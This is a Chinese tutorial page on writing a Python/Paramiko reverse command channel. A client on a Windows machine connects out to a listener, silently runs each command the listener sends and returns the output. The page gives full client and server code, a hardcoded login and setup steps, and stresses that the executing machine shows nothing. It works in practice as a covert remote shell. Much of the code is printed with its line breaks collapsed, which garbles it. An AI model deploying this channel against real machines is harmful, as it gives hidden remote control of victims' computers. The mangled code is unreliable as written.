当前位置： 首页 > news >正文

网络安全编程——基于Python实现的SSH通信(Windows执行)

news 2025/11/14 7:46:49

接着昨天文章留下的疑问，今天也是给大家带来一篇针对客户端加密通信的SSH通信；
作用：可以在Windows上执行，服务端执行发送的命令，在客户端上不会有任何显示；保证了我们执行命令的保密性；

文章目录

    • SSH客户端（改进版）
      • 代码解释：
    • SSH服务端
      • 第一部分
      • 第二部分：
      • 完整代码：
    • 总结
      • 代码效果展示：
      • 服务器操作：
      • 客户端操作：

SSH客户端（改进版）

如果想了解简单的SSH通信在Linux上如何实现，可以看网络安全编程——基于Python实现的SSH通信代码(Linux执行)这篇文章；

我们创建一个新文件，命名为ssh_client.py，并输入以下内容：

import sys
import paramiko
import subprocess
import shlexdef ssh_command(ip, port, user, passwd, command):client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())client.connect(ip, port=port, username=user, password=passwd)ssh_session = client.get_transport().open_session()if ssh_session.active:ssh_session.send(command.encode())  # 修复：字节流发送print(f"Received data is:{ssh_session.recv(1024).decode()}")while True:command = ssh_session.recv(1024)try:cmd = command.decode().strip()  # 修复：去除空格/换行if cmd == 'exit':client.close()break# 保留原逻辑（注意：shell=True有风险，但不修改风格）output_cmd = subprocess.check_output(shlex.split(cmd), shell=True)ssh_session.send(output_cmd or b'okay')  # 修复：字节流发送except Exception as e:ssh_session.send(str(e).encode())  # 修复：字节流发送client.close()returnif __name__ == "__main__":import getpassuser = input(f"username:")passwd = getpass.getpass()ip = input("Enter your IP address:")port = int(input("Enter your port:"))  # 修复：转为整数ssh_command(ip, port, user, passwd, "ClientConnected~")

代码解释：

  • （1）SSH 连接初始化：

    • 关键：AutoAddPolicy() 是为了避免首次连接远程服务器时，因 “主机密钥未验证” 而抛出异常（适合测试 / 信任环境，生产环境需谨慎）。

  • （2）创建交互式 SSH 会话：

    • 为什么不用 client.exec_command()？
      exec_command() 是 “单次命令执行”（执行完就断开），而 ·open_session()· 是 “持久交互会话”（保持连接，反复收发命令），适合本次的 “持续接收远程指令” 场景。

  • （3）交互式命令循环：

    • 目的：保持连接，让远程服务器可以多次下发命令，本地持续执行并反馈。
    • subprocess.check_output(shlex.split(cmd),shell=True)作用：这个函数作用在手写Netcat工具的execute()函数时就已经出现过；
    • shell=True 和 shell=False 区别：
参数执行逻辑命令格式要求典型场景
shell=False（默认）直接启动命令对应的可执行程序（如 ls、python），命令参数独立传递必须是列表（如 ['ls', '-l']）不需要 Shell 特性时（推荐）
shell=True先启动系统 Shell（Linux 是 bash/sh，Windows 是 cmd.exe/PowerShell），再让 Shell 解析并执行命令可以是字符串（如 ls -l grep txt）需要 Shell 语法特性时

另外还有一点，我们给服务器发送的第一条命令是ClientConnected。等到写服务器代码的时候，你就会明白为什么要发这么一条命令。

SSH服务端

现在，我们来编写SSH服务器，我们的客户端（指实际运行命令的机器）之后会去连接它。任何操作系统均可，只要上面装了Python和Paramiko就可以。

第一部分

import sys
import threading
import socket
import paramiko
import osCWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))class Server(paramiko.ServerInterface):def __init__(self):self.event = threading.Event()def check_auth_password(self, username, password):if (username == 'tim') and (password == 'sectools'):return paramiko.AUTH_SUCCESSFULreturn paramiko.AUTH_FAILEDdef check_channel_request(self, kind, chanid):if kind == 'session':return paramiko.OPEN_SUCCEEDED  # 输出：0（paramiko.OPEN_SUCCEEDED 的值）return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED  # 输出：1（paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 的值）

代码解释：

  • （1）获取当前脚本目录

    CWD = os.path.dirname(os.path.realpath(__file__))
    • 作用：通过os.path.realpath(__file__)获取当前脚本的绝对路径，再通过os.path.dirname提取其所在目录，最终得到脚本的工作目录CWD，用于后续文件（如密钥文件）的路径拼接。

  • （2）加载SSH服务器的主机密钥

    HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
    • 作用：加载一个RSA密钥文件（test_rsa.key）作为SSH服务器的主机密钥。
    • 背景：SSH服务器需要主机密钥来证明自身身份，客户端连接时会验证该密钥，确保连接的是可信服务器。这里通过paramiko.RSAKey加载本地生成的RSA密钥文件（需提前用ssh-keygen等工具生成）。

  • （3）定义自定义SSH服务器类

    class Server(paramiko.ServerInterface):def __init__(self):self.event = threading.Event()
    • 细节：paramiko.ServerInterface是paramiko中用于实现SSH服务器功能的抽象基类（*会Java的师傅应该很熟悉 *），需重写其方法（如认证、命令执行等）来实现自定义逻辑。
    • 线程同步：self.event = threading.Event()初始化了一个线程事件对象，用于多线程环境下的线程同步（例如控制服务器的启动、停止或状态通知）。

第二部分：

接着，像前面讲过的那样，我们打开一个socket监听器，然后把这个监听器“SSH化”，并设置好它的权限认证方式。（具体文章请看TCP服务端实现）

  1. 当一个客户端通过认证，并向我们发送ClientConnected命令后；
  2. 在SSH服务器（即运行ssh_server.py脚本的机器）上运行的任何命令，都会被发送到SSH客户端（即运行ssh_rcmd.py脚本的机器）；
  3. 并且在该客户端上执行，执行的结果会回传给SSH服务器。
if __name__ == "__main__":server_ip = '0.0.0.0'  # 监听所有网卡（避免绑定失败）ssh_port = 2222  # 避免与系统SSH的22端口冲突# ----------------------SSH连接部分-------------------------client = None  # 提前初始化client，避免未定义try:server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)server_socket.bind((server_ip, ssh_port))server_socket.listen(100)print(f"[+] Listening on {server_ip}:{ssh_port} ....")client, addr = server_socket.accept()except Exception as e:print(f"[-] Connect Failed.." + str(e))sys.exit(1)  # 绑定失败直接退出，避免后续报错else:print(f"[+] Connected from {addr[0]}:{addr[1]}")# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)chan = bnsession.accept(20)  # 20秒超时if chan is None:print(f"[-] No Channel...")sys.exit()print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())try:while True:command = input(f"Enter command:")if command != 'exit':chan.send(command.encode())respond = chan.recv(4096)print(respond.decode())else:print(f"[-] SSH Server exiting...")chan.close()break
except KeyboardInterrupt as e:print(f"[-] Server Interrupt...")bnsession.close()

具体代码如上图；

代码解释：

（1） 初始化 SSH 传输层与服务器配置

bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
  • paramiko.Transport(client)：创建 SSH 传输层对象，client 是一个已建立的网络连接（如 socket），负责处理 SSH 底层的加密、认证等协议交互。
  • add_server_key(HOSTKEY)：添加服务器主机密钥（即之前定义的 HOSTKEY，通常是 RSA 密钥）。该密钥用于向客户端证明服务器身份，客户端连接时会验证此密钥，确保连接的是可信服务器。
  • Server()：实例化自定义的 Server 类（继承自 paramiko.ServerInterface），用于实现 SSH 服务器的核心逻辑（如用户认证、通道权限等回调方法）。
  • start_server(server=server)：启动 SSH 服务器的服务端流程，将自定义的 server 对象传入，让其接管所有服务器行为（如认证处理、通道请求等）。

（2）接受 SSH 通道请求

chan = bhSession.accept(20)
if chan is None:print('*** No channel.')sys.exit(1)
  • bhSession.accept(20)：等待并接受客户端的SSH 通道请求，超时时间为 20 秒。SSH 通道是用于传输数据（如命令、文件）的逻辑连接，accept 方法会阻塞直到有通道请求或超时（超时则返回 None）。
  • 若未获取到通道（chan is None），则打印提示并退出程序。

3. 认证成功提示与初始通信

print('[+] Authenticated!')
print(chan.recv(1024))
chan.send('Welcome to bh_ssh')
  • print('[+] Authenticated!')：若执行到此处，说明客户端已通过认证（Server 类中需实现认证逻辑，只有认证成功才会允许建立通道）。
  • chan.recv(1024)：从 SSH 通道中接收客户端发送的数据（最多 1024 字节），并打印。
  • chan.send('Welcome to bh_ssh')：向客户端发送欢迎消息，完成一次简单的双向通信。

完整代码：

import sys
import threading
import socket
import paramiko
import osCWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))class Server(paramiko.ServerInterface):def __init__(self):self.event = threading.Event()def check_auth_password(self, username, password):if (username == 'tim') and (password == 'sectools'):return paramiko.AUTH_SUCCESSFULreturn paramiko.AUTH_FAILEDdef check_channel_request(self, kind, chanid):if kind == 'session':return paramiko.OPEN_SUCCEEDEDreturn paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITEDif __name__ == "__main__":server_ip = '0.0.0.0'  # 监听所有网卡（避免绑定失败）ssh_port = 2222  # 避免与系统SSH的22端口冲突# ----------------------SSH连接部分-------------------------client = None  # 提前初始化client，避免未定义try:server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)server_socket.bind((server_ip, ssh_port))server_socket.listen(100)print(f"[+] Listening on {server_ip}:{ssh_port} ....")client, addr = server_socket.accept()except Exception as e:print(f"[-] Connect Failed.." + str(e))sys.exit(1)  # 绑定失败直接退出，避免后续报错else:print(f"[+] Connected from {addr[0]}:{addr[1]}")# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)chan = bnsession.accept(20)  # 20秒超时if chan is None:print(f"[-] No Channel...")sys.exit()print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())try:while True:command = input(f"Enter command:")if command != 'exit':chan.send(command.encode())respond = chan.recv(4096)print(respond.decode())else:print(f"[-] SSH Server exiting...")chan.close()break
except KeyboardInterrupt as e:print(f"[-] Server Interrupt...")bnsession.close()

完整代码如上；

总结

代码效果展示：

我们会在一台 Windows 电脑上运行客户端，在一台 Ubuntu电脑上运行服务器。

服务器操作：

首先在server.py文件所在的目录，生成公私钥，然后运行server.py文件

# 生成公私钥
ssh-keygen -t rsa -f test_rsa.key -N ''# 运行文件
python3 server.py

在这里插入图片描述

正在监听2222端口，等待客户端连接：

在这里插入图片描述

客户端操作：

在 Windows 电脑上运行客户端，按提示输入以下信息（严格对应服务端配置）：

username: tim  # 服务端硬编码用户名
Password: sectools  # 服务端硬编码密码（输入不回显）
Enter your IP address: 192.168.44.128  # Ubuntu 服务端IP
Enter your port: 2222  # 服务端监听端口

在这里插入图片描述

回到服务器上，就能够看到客户端的连接了：

在这里插入图片描述

再尝试执行几条命令：

在这里插入图片描述

客户端效果：

在这里插入图片描述

如你所见，客户端连接成功后，我们执行了几条命令。从 SSH 客户端上什么也看不出来，但其实我们发出的命令已经在客户端上运行了，输出结果也发回了 SSH 服务器。

http://www.dtcms.com/a/605756.html

相关文章：

  • WAF防护：应用层安全的核心堡垒
  • 【OpenCV图像处理】图像去噪：cv.fastNlMeansDenoising()
  • 基于AI Agent模板：快速生成 SQL 测试数据
  • 无锡网站建设方案企业计划书
  • 做购票系统网站网站开发推广方案策划书
  • JVM GC 垃圾回收体系完整讲解
  • JVM 内存结构的详细介绍
  • Linux命令-egrep命令（文本搜索工具）
  • 《Flutter全栈开发实战指南：从零到高级》- 14 -网络请求与数据解析
  • 模板网站配置文件seo难不难
  • div2 1052 个人补题笔记
  • 【1.10】基于FPGA的costas环开发4——鉴相器模块开发
  • C语言编译软件 | 如何选择适合自己的编译器
  • 怎么做网站外贸wordpress 本地 域名绑定
  • DSP中断工作原理
  • 【LeetCode】109. 有序链表转换二叉搜索树
  • Verilog 利用伪随机，时序，按键消抖等，实现一个（打地鼠）游戏
  • 【音视频】均衡器（Equalizer）技术详解
  • win11安装mysql社区版数据库
  • 菏泽定制网站建设推广花艺企业网站建设规划
  • 哪些网站可以做推广婚庆公司网站源码
  • LVS负载均衡群集(一) -- NAT模式
  • 【ZeroRnge WebRTC】RFC 8445：ICE 协议规范（中文整理与译注）
  • librtp 实现详解：仓颉语言中的 RTP和RTCP 协议库开发实践
  • Android http网络请求的那些事儿
  • 两台 centos 7.9 部署 pbs version 18.1.4 集群
  • 【动手学深度学习】8.1. 序列模型
  • 【AI软件开发】从文献管理到知识编织：构建AI驱动的学术研究工作流
  • 网站上面图片上传尺寸建设部二级结构工程师注销网站
  • PostIn从初级到进阶(3) - 如何对接口快速设计并管理接口文档